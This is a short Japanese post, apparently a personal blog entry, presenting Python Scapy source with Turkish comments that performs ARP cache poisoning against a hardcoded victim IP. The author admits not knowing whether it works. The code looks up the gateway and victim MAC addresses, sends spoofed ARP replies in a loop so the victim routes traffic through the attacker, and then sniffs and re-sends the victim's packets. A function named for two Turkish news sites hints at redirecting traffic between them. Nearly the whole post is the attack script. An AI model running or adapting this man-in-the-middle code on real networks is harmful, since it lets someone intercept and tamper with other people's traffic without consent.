Scapy応用

Scapyを使ってARP cache Poisoning してみようというソースです。動くかは分かりません。

# -*- coding: utf-8 -*-
 
from optparse import OptionParser
import threading
import time
import sys
 
from scapy.all import *
from scapy import *
 
 
VICTIM_IP = '192.168.107.45'
VICTIM_MAC = ''
 
GATEWAY_IP = '192.168.107.1' #router
GATEWAY_MAC = ''
 
ATTACKER_IP = ''
ATTACKER_MAC = ''
 
 
class ArpPoisonThread(threading.Thread):
  def __init__(self, arp_response):
    threading.Thread.__init__(self)
    self.arp_response = arp_response
    self.cont = True
 
  def finish(self):
    self.cont = False
 
  def run(self):
    while self.cont:
      send(self.arp_response)
 
 
def hurriyet_to_zaman(packet):
  if IP in packet and packet[IP].src == VICTIM_IP:
    packet.show()
    packet[Ether].dst = GATEWAY_MAC
    packet.show()
    send(packet)
 
 
 
def main():
  global VICTIM_IP, VICTIM_MAC
  global ATTACKER_IP, ATTACKER_MAC
  global GATEWAY_IP, GATEWAY_MAC
 
  #Zaman DNS çözümle
  ans, unansw = sr(IP(dst="193.255.97.2")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.zaman.com.tr")))
  dns_answer = ans[0][1]
  dns_answer.show()
 
  #gateway'in mac adresini öğren
  ans, unansw = sr(ARP(hwdst=ETHER_BROADCAST,
                       pdst=GATEWAY_IP))
  arp_response = ans[0][1]
  GATEWAY_MAC = arp_response.hwsrc
 
  #broadcast ARP isteği oluştur.
  arp_request = ARP(hwdst=ETHER_BROADCAST,
                    pdst=VICTIM_IP)
 
  #ip ve mac adresimi öğren.
  ATTACKER_MAC = arp_request.hwsrc
  ATTACKER_IP = arp_request.psrc
 
  print ATTACKER_MAC, ATTACKER_IP
 
  #hedef bilgisayarın mac adresini öğren.
  ans, unansw = sr(arp_request)
  arp_response = ans[0][1]
  VICTIM_MAC = arp_response.hwsrc
 
  #arp yanıtını daha sonra göndermek üzere zehirle.
  arp_response.hwsrc = ATTACKER_MAC
  arp_response.hwdst = VICTIM_MAC
  arp_response.psrc = GATEWAY_IP
  arp_response.pdst = VICTIM_IP
 
  arp_poison_thread = ArpPoisonThread(arp_response)
  arp_poison_thread.start()
 
  #sniff_thread = SniffThread()
  #sniff_thread.start()
 
 
  try:
    sniff(prn=hurriyet_to_zaman, count=10000)
  except (KeyboardInterrupt, SystemExit):
      arp_poison_thread.finish()
      sys.exit()
      raise
 
 
 
if __name__ == '__main__':
  main()

また読みます。